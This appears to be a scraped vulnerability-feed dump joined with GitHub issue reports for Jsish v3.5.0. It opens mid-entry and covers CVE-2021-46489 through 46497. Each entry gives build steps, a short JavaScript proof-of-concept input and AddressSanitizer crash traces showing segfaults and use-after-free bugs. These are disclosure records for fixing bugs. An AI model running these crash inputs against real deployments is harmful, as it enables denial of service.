src/jsiFunc.c:777 #3 0x563e698c0fec in Jsi_FunctionInvoke src/jsiFunc.c:789 #4 0x563e69985851 in jsi_ArrayReduceSubCmd src/jsiArray.c:641 #5 0x563e69985851 in jsi_ArrayReduceRightCmd src/jsiArray.c:672 #6 0x563e69943818 in jsi_FuncCallSub src/jsiProto.c:244 #7 0x563e69c0d71a in jsiFunctionSubCall src/jsiEval.c:796 #8 0x563e69c0d71a in jsiEvalFunction src/jsiEval.c:837 #9 0x563e69c0d71a in jsiEvalCodeSub src/jsiEval.c:1264 #10 0x563e69c2115e in jsi_evalcode src/jsiEval.c:2204 #11 0x563e69c25274 in jsi_evalStrFile src/jsiEval.c:2665 #12 0x563e6991466a in Jsi_Main src/jsiInterp.c:936 #13 0x563e6a11903a in jsi_main src/main.c:47 #14 0x7fde1e7babf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #15 0x563e698a8969 in _start (/usr/local/bin/jsish+0xe8969) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/jsiArray.c:311 in jsi_ArrayConcatCmd ``` Credits: Found by OWL337 team.

SEGV src/jsiArray.c:311 in jsi_ArrayConcatCmd

https://api.github.com/repos/pcmacdon/jsish/issues/68/comments

2021-12-24T10:36:54Z

2022-01-12T02:14:32Z

https://github.com/pcmacdon/jsish/issues/68

CVE-2021-46489

2022-01-27T21:15:08.603

Jsish v3.5.0 was discovered to contain a heap-use-after-free via Jsi_DecrRefCount in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/74

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript function JSEtest() { Object.prototype = 1; } JSEtest(); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==44651==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000001c0 at pc 0x5556b3bd8724 bp 0x7ffdd9e16980 sp 0x7ffdd9e16970 READ of size 4 at 0x6030000001c0 thread T0 #0 0x5556b3bd8723 in Jsi_DecrRefCount src/jsiValue.c:41 #1 0x5556b3c1177b in jsiInterpDelete src/jsiInterp.c:1933 #2 0x5556b4428047 in jsi_main src/main.c:49 #3 0x7fd6540bcbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #4 0x5556b3bb7969 in _start (/usr/local/bin/jsish+0xe8969) 0x6030000001c0 is located 0 bytes inside of 32-byte region [0x6030000001c0,0x6030000001e0) freed by thread T0 here: #0 0x7fd654d2b7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x5556b3bd86cf in Jsi_DecrRefCount src/jsiValue.c:52 previously allocated by thread T0 here: #0 0x7fd654d2bd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x5556b3c28aa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount Shadow bytes around the buggy address: 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd 0x0c067fff8010: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa 0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd =>0x0c067fff8030: fa fa fd fd fd fd fa fa[fd]fd fd fd fa fa fd fd 0x0c067fff8040: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c067fff8050: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c067fff8060: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c067fff8070: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c067fff8080: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```

Heap-use-after-free src/jsiValue.c:41 in Jsi_DecrRefCount

https://api.github.com/repos/pcmacdon/jsish/issues/74/comments

2021-12-24T10:41:50Z

2021-12-27T15:24:09Z

https://github.com/pcmacdon/jsish/issues/74

CVE-2021-46490

2022-01-27T21:15:08.647

Jsish v3.5.0 was discovered to contain a SEGV vulnerability via NumberConstructor at src/jsiNumber.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/67

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var list = [ 'aa', 'hh' ]; Number.bind(2, 4)(); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ASAN:DEADLYSIGNAL ================================================================= =====ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55d872876fd3 bp 0x7ffd8a3d6b10 sp 0x7ffd8a3d6240 T0) =====The signal is caused by a READ memory access. =====Hint: address points to the zero page. #0 0x55d872876fd2 in NumberConstructor src/jsiNumber.c:93 #1 0x55d87284a818 in jsi_FuncCallSub src/jsiProto.c:244 #2 0x55d8727c7fec in jsi_FunctionInvoke src/jsiFunc.c:777 #3 0x55d8727c7fec in Jsi_FunctionInvoke src/jsiFunc.c:789 #4 0x55d872843ad6 in jsi_FuncBindCall src/jsiProto.c:299 #5 0x55d87284a818 in jsi_FuncCallSub src/jsiProto.c:244 #6 0x55d872b1471a in jsiFunctionSubCall src/jsiEval.c:796 #7 0x55d872b1471a in jsiEvalFunction src/jsiEval.c:837 #8 0x55d872b1471a in jsiEvalCodeSub src/jsiEval.c:1264 #9 0x55d872b2815e in jsi_evalcode src/jsiEval.c:2204 #10 0x55d872b2c274 in jsi_evalStrFile src/jsiEval.c:2665 #11 0x55d87281b66a in Jsi_Main src/jsiInterp.c:936 #12 0x55d87302003a in jsi_main src/main.c:47 #13 0x7fb276e6fbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #14 0x55d8727af969 in _start (/usr/local/bin/jsish+0xe8969) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/jsiNumber.c:93 in NumberConstructor ``` Credits: Found by OWL337 team.

SEGV src/jsiNumber.c:93 in NumberConstructor

https://api.github.com/repos/pcmacdon/jsish/issues/67/comments

2021-12-24T10:35:45Z

2022-01-12T02:14:20Z

https://github.com/pcmacdon/jsish/issues/67

CVE-2021-46491

2022-01-27T21:15:08.690

Jsish v3.5.0 was discovered to contain a SEGV vulnerability via Jsi_CommandPkgOpts at src/jsiCmds.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/69

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var JSEtest = { 1e+400: '!'.charCodeAt(0) }; String.prototype.trimRight(WebSocket.apply(JSEtest)); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ASAN:DEADLYSIGNAL ================================================================= ==40146==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x56121dba5c0c bp 0x0ffff18e704c sp 0x7fff8c7381e0 T0) ==40146==The signal is caused by a READ memory access. ==40146==Hint: address points to the zero page. #0 0x56121dba5c0b in Jsi_CommandPkgOpts src/jsiCmds.c:785 #1 0x56121dccce67 in WebSocketConstructor src/jsiWebSocket.c:3348 #2 0x56121db0c818 in jsi_FuncCallSub src/jsiProto.c:244 #3 0x56121db0ed84 in Jsi_FunctionApply src/jsiProto.c:480 #4 0x56121db0c818 in jsi_FuncCallSub src/jsiProto.c:244 #5 0x56121ddd671a in jsiFunctionSubCall src/jsiEval.c:796 #6 0x56121ddd671a in jsiEvalFunction src/jsiEval.c:837 #7 0x56121ddd671a in jsiEvalCodeSub src/jsiEval.c:1264 #8 0x56121ddea15e in jsi_evalcode src/jsiEval.c:2204 #9 0x56121ddee274 in jsi_evalStrFile src/jsiEval.c:2665 #10 0x56121dadd66a in Jsi_Main src/jsiInterp.c:936 #11 0x56121e2e203a in jsi_main src/main.c:47 #12 0x7fde614afbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #13 0x56121da71969 in _start (/usr/local/bin/jsish+0xe8969) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/jsiCmds.c:785 in Jsi_CommandPkgOpts ``` Credits: Found by OWL337 team.

SEGV src/jsiCmds.c:785 in Jsi_CommandPkgOpts

https://api.github.com/repos/pcmacdon/jsish/issues/69/comments

2021-12-24T10:37:33Z

2022-01-12T02:14:45Z

https://github.com/pcmacdon/jsish/issues/69

CVE-2021-46492

2022-01-27T21:15:08.733

Jsish v3.5.0 was discovered to contain a SEGV vulnerability via Jsi_FunctionInvoke at src/jsiFunc.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/71

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case1 ```javascript var feedback = setInterval(Number, update(Object(ch))); WebSocket(new Object()); update(100)(WebSocket(new Object())); ``` ###### Test case2 ```javascript function JSEtest() { (arr.reduceRight(Object), 0, '1'); arguments.callee++; } var arr = new Array(10); arr[1] = 1; arr[2] = 2; arr.forEach(JSEtest); ``` ###### ###### Execution steps & Output ```bash $ ./jsish/jsish poc1.js ASAN:DEADLYSIGNAL ================================================================= ==82851==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000010 (pc 0x5639ca50c71f bp 0x000000000000 sp 0x7ffc15eedf60 T0) ==82851==The signal is caused by a READ memory access. ==82851==Hint: address points to the zero page. #0 0x5639ca50c71e in Jsi_FunctionInvoke src/jsiFunc.c:786 #1 0x5639ca626b9d in Jsi_EventProcess src/jsiCmds.c:292 #2 0x5639ca6278ef in SysUpdateCmd src/jsiCmds.c:411 #3 0x5639ca58f818 in jsi_FuncCallSub src/jsiProto.c:244 #4 0x5639ca85971a in jsiFunctionSubCall src/jsiEval.c:796 #5 0x5639ca85971a in jsiEvalFunction src/jsiEval.c:837 #6 0x5639ca85971a in jsiEvalCodeSub src/jsiEval.c:1264 #7 0x5639ca86d15e in jsi_evalcode src/jsiEval.c:2204 #8 0x5639ca871274 in jsi_evalStrFile src/jsiEval.c:2665 #9 0x5639ca56066a in Jsi_Main src/jsiInterp.c:936 #10 0x5639cad6503a in jsi_main src/main.c:47 #11 0x7fb9a888dbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #12 0x5639ca4f4969 in _start (/usr/local/bin/jsish+0xe8969) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/jsiFunc.c:786 in Jsi_FunctionInvoke ==82851==ABORTING $ ./jsish/jsish poc2.js ASAN:DEADLYSIGNAL ================================================================= ==62010==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x557c5b2f56b6 bp 0x603000007240 sp 0x7ffce7e9ef60 T0) ==62010==The signal is caused by a READ memory access. ==62010==Hint: address points to the zero page. #0 0x557c5b2f56b5 in Jsi_FunctionInvoke src/jsiFunc.c:785 #1 0x557c5b3ad784 in jsi_ArrayForeachCmd src/jsiArray.c:531 #2 0x557c5b378818 in jsi_FuncCallSub src/jsiProto.c:244 #3 0x557c5b64271a in jsiFunctionSubCall src/jsiEval.c:796 #4 0x557c5b64271a in jsiEvalFunction src/jsiEval.c:837 #5 0x557c5b64271a in jsiEvalCodeSub src/jsiEval.c:1264 #6 0x557c5b65615e in jsi_evalcode src/jsiEval.c:2204 #7 0x557c5b65a274 in jsi_evalStrFile src/jsiEval.c:2665 #8 0x557c5b34966a in Jsi_Main src/jsiInterp.c:936 #9 0x557c5bb4e03a in jsi_main src/main.c:47 #10 0x7f35df3e6bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #11 0x557c5b2dd969 in _start (/usr/local/bin/jsish+0xe8969) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV src/jsiFunc.c:785 in Jsi_FunctionInvoke ```

SEGV src/jsiFunc.c:786 in Jsi_FunctionInvoke

https://api.github.com/repos/pcmacdon/jsish/issues/71/comments

2021-12-24T10:38:56Z

2021-12-27T03:47:20Z

https://github.com/pcmacdon/jsish/issues/71

CVE-2021-46494

2022-01-27T21:15:08.777

Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_ValueLookupBase in src/jsiValue.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/78

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var JSEtest = function() {}; Function.prototype = 12; var obj = JSEtest.bind({}); ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ================================================================= ==50188==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000228 at pc 0x55ccf1df02ee bp 0x7ffcb1d1b0a0 sp 0x7ffcb1d1b090 READ of size 1 at 0x603000000228 thread T0 #0 0x55ccf1df02ed in jsi_ValueLookupBase src/jsiValue.c:980 #1 0x55ccf1df1175 in jsi_ValueLookupBase src/jsiValue.c:1007 #2 0x55ccf1df1175 in jsi_ValueSubscript src/jsiValue.c:1016 #3 0x55ccf211ad47 in jsiEvalSubscript src/jsiEval.c:997 #4 0x55ccf211ad47 in jsiEvalCodeSub src/jsiEval.c:1283 #5 0x55ccf213315e in jsi_evalcode src/jsiEval.c:2204 #6 0x55ccf2137274 in jsi_evalStrFile src/jsiEval.c:2665 #7 0x55ccf1e2666a in Jsi_Main src/jsiInterp.c:936 #8 0x55ccf262b03a in jsi_main src/main.c:47 #9 0x7fc99b738bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #10 0x55ccf1dba969 in _start (/usr/local/bin/jsish+0xe8969) 0x603000000228 is located 8 bytes inside of 32-byte region [0x603000000220,0x603000000240) freed by thread T0 here: #0 0x7fc99c3a77a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x55ccf1ddb6cf in Jsi_DecrRefCount src/jsiValue.c:52 previously allocated by thread T0 here: #0 0x7fc99c3a7d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55ccf1e2baa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:980 in jsi_ValueLookupBase Shadow bytes around the buggy address: 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff8000: fa fa 00 00 00 00 fa fa 00 00 07 fa fa fa 00 00 0x0c067fff8010: 00 00 fa fa 00 00 03 fa fa fa 00 00 00 00 fa fa 0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 =>0x0c067fff8040: 00 00 fa fa fd[fd]fd fd fa fa 00 00 00 00 fa fa 0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8060: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 0x0c067fff8070: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c067fff8080: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 0x0c067fff8090: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==50188==ABORTING ``` Credits: Found by OWL337 team.

Heap-use-after-free src/jsiValue.c:980 in jsi_ValueLookupBase

https://api.github.com/repos/pcmacdon/jsish/issues/78/comments

2021-12-24T10:45:48Z

2022-01-12T02:16:10Z

https://github.com/pcmacdon/jsish/issues/78

CVE-2021-46495

2022-01-27T21:15:08.827

Jsish v3.5.0 was discovered to contain a heap-use-after-free via DeleteTreeValue in src/jsiObj.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/82

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript function JSEtest() { var buf = setInterval(function () { ws.send('0'); }, 40)(update(Object(0))); } try { JSEtest(); } catch (e) { setInterval(Function.prototype, 40); } ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==66060==ERROR: AddressSanitizer: heap-use-after-free on address 0x6030000001f0 at pc 0x56055c54b6fc bp 0x7ffc737457e0 sp 0x7ffc737457d0 READ of size 4 at 0x6030000001f0 thread T0 #0 0x56055c54b6fb in DeleteTreeValue src/jsiObj.c:176 #1 0x56055c563384 in Jsi_TreeEntryDelete src/jsiTree.c:636 #2 0x56055c564f10 in destroy_node src/jsiTree.c:496 #3 0x56055c564f10 in destroy_node src/jsiTree.c:494 #4 0x56055c564f10 in Jsi_TreeDelete src/jsiTree.c:515 #5 0x56055c54d9df in Jsi_ObjFree src/jsiObj.c:348 #6 0x56055c54ea0f in Jsi_ObjDecrRefCount src/jsiObj.c:440 #7 0x56055c3fd3d1 in ValueFree src/jsiValue.c:178 #8 0x56055c3fd3d1 in Jsi_ValueFree src/jsiValue.c:199 #9 0x56055c3fd6cf in Jsi_DecrRefCount src/jsiValue.c:52 #10 0x56055c50d4d4 in Jsi_EventFree src/jsiCmds.c:204 #11 0x56055c4234e2 in freeEventTbl src/jsiInterp.c:570 #12 0x56055c4c58dd in Jsi_HashClear src/jsiHash.c:507 #13 0x56055c4c5cd7 in Jsi_HashDelete src/jsiHash.c:526 #14 0x56055c43687c in jsiInterpDelete src/jsiInterp.c:1936 #15 0x56055cc4d047 in jsi_main src/main.c:49 #16 0x7f78b6c29bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #17 0x56055c3dc969 in _start (/usr/local/bin/jsish+0xe8969) 0x6030000001f0 is located 0 bytes inside of 32-byte region [0x6030000001f0,0x603000000210) freed by thread T0 here: #0 0x7f78b78987a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x56055c3fd6cf in Jsi_DecrRefCount src/jsiValue.c:52 previously allocated by thread T0 here: #0 0x7f78b7898d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x56055c44daa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiObj.c:176 in DeleteTreeValue Shadow bytes around the buggy address: 0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c067fff8000: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd 0x0c067fff8010: fd fd fa fa fd fd fd fa fa fa fd fd fd fd fa fa 0x0c067fff8020: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd =>0x0c067fff8030: fa fa fd fd fd fd fa fa fd fd fd fd fa fa[fd]fd 0x0c067fff8040: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c067fff8050: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c067fff8060: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c067fff8070: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c067fff8080: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==66060==ABORTING ```

Heap-use-after-free src/jsiObj.c:176 in DeleteTreeValue

https://api.github.com/repos/pcmacdon/jsish/issues/82/comments

2021-12-24T10:48:59Z

2021-12-28T02:31:29Z

https://github.com/pcmacdon/jsish/issues/82

CVE-2021-46496

2022-01-27T21:15:08.870

Jsish v3.5.0 was discovered to contain a heap-use-after-free via Jsi_ObjFree in src/jsiObj.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/83

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript var __instance = Object; __instance.exec = RegExp; try { $ERROR('Error' + (__instance.exec("1"))); } catch (e) { } ``` ​ ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==22083==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000127e8 at pc 0x5569eb9fb061 bp 0x7ffdf3af1950 sp 0x7ffdf3af1940 READ of size 4 at 0x6080000127e8 thread T0 #0 0x5569eb9fb060 in Jsi_ObjFree src/jsiObj.c:339 #1 0x5569eb8e3aa0 in jsiInterpDelete src/jsiInterp.c:1943 #2 0x5569ec0fa047 in jsi_main src/main.c:49 #3 0x7f90875e2bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #4 0x5569eb889969 in _start (/usr/local/bin/jsish+0xe8969) 0x6080000127e8 is located 72 bytes inside of 96-byte region [0x6080000127a0,0x608000012800) freed by thread T0 here: #0 0x7f90882517a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x5569eb8cf073 in regExpFree src/jsiInterp.c:588 previously allocated by thread T0 here: #0 0x7f9088251d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x5569eb8faaa4 in Jsi_Calloc src/jsiUtils.c:57 #2 0x5569ec1a6faf (/usr/local/bin/jsish+0xa05faf) SUMMARY: AddressSanitizer: heap-use-after-free src/jsiObj.c:339 in Jsi_ObjFree Shadow bytes around the buggy address: 0x0c107fffa4a0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fffa4b0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fffa4c0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fffa4d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fffa4e0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa =>0x0c107fffa4f0: fa fa fa fa fd fd fd fd fd fd fd fd fd[fd]fd fd 0x0c107fffa500: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fffa510: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fffa520: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c107fffa530: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c107fffa540: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==22083==ABORTING ```

MEMLEAK NOW: Heap-use-after-free src/jsiObj.c:339 in Jsi_ObjFree

https://api.github.com/repos/pcmacdon/jsish/issues/83/comments

2021-12-24T10:49:33Z

2021-12-28T02:31:03Z

https://github.com/pcmacdon/jsish/issues/83

CVE-2021-46497

2022-01-27T21:15:08.917

Jsish v3.5.0 was discovered to contain a heap-use-after-free via jsi_UserObjDelete in src/jsiUserObj.c. This vulnerability can lead to a Denial of Service (DoS).

https://github.com/pcmacdon/jsish/issues/84

github.com

###### Jsish revision Commit: [9fa798e](https://github.com/pcmacdon/jsish/commit/9fa798e35d7a753672d1bd16e98b124e7b2d2899) Version: v3.5.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash export CFLAGS='-fsanitize=address' make ``` ###### Test case ```javascript try { WebSocket(new Object()); } catch (e) { } try { (Number)('wrong'); } catch (e) { } ``` ###### Execution steps & Output ```bash $ ./jsish/jsish poc.js ==116852==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000000220 at pc 0x56117e352348 bp 0x7ffdd456fd30 sp 0x7ffdd456fd20 READ of size 4 at 0x608000000220 thread T0 #0 0x56117e352347 in jsi_UserObjDelete src/jsiUserObj.c:32 #1 0x56117e1a9a28 in freeUserdataTbl src/jsiInterp.c:660 #2 0x56117e24d8dd in Jsi_HashClear src/jsiHash.c:507 #3 0x56117e24dcd7 in Jsi_HashDelete src/jsiHash.c:526 #4 0x56117e1be7d8 in jsiInterpDelete src/jsiInterp.c:1935 #5 0x56117e9d5047 in jsi_main src/main.c:49 #6 0x7f876ebfebf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #7 0x56117e164969 in _start (/usr/local/bin/jsish+0xe8969) 0x608000000220 is located 0 bytes inside of 96-byte region [0x608000000220,0x608000000280) freed by thread T0 here: #0 0x7f876f86d7a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8) #1 0x56117e2d6a0f in Jsi_ObjDecrRefCount src/jsiObj.c:440 previously allocated by thread T0 here: #0 0x7f876f86dd28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x56117e1d5aa4 in Jsi_Calloc src/jsiUtils.c:57 SUMMARY: AddressSanitizer: heap-use-after-free src/jsiUserObj.c:32 in jsi_UserObjDelete Shadow bytes around the buggy address: 0x0c107fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fff8000: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fff8010: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fff8020: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fff8030: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd =>0x0c107fff8040: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd 0x0c107fff8050: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fff8060: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fff8070: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x0c107fff8080: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 0x0c107fff8090: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==116852==ABORTING ```

Heap-use-after-free src/jsiUserObj.c:32 in jsi_UserObjDelete

https://api.github.com/repos/pcmacdon/jsish/issues/84/comments

2021-12-24T10:50:28Z

2021-12-27T16:51:37Z

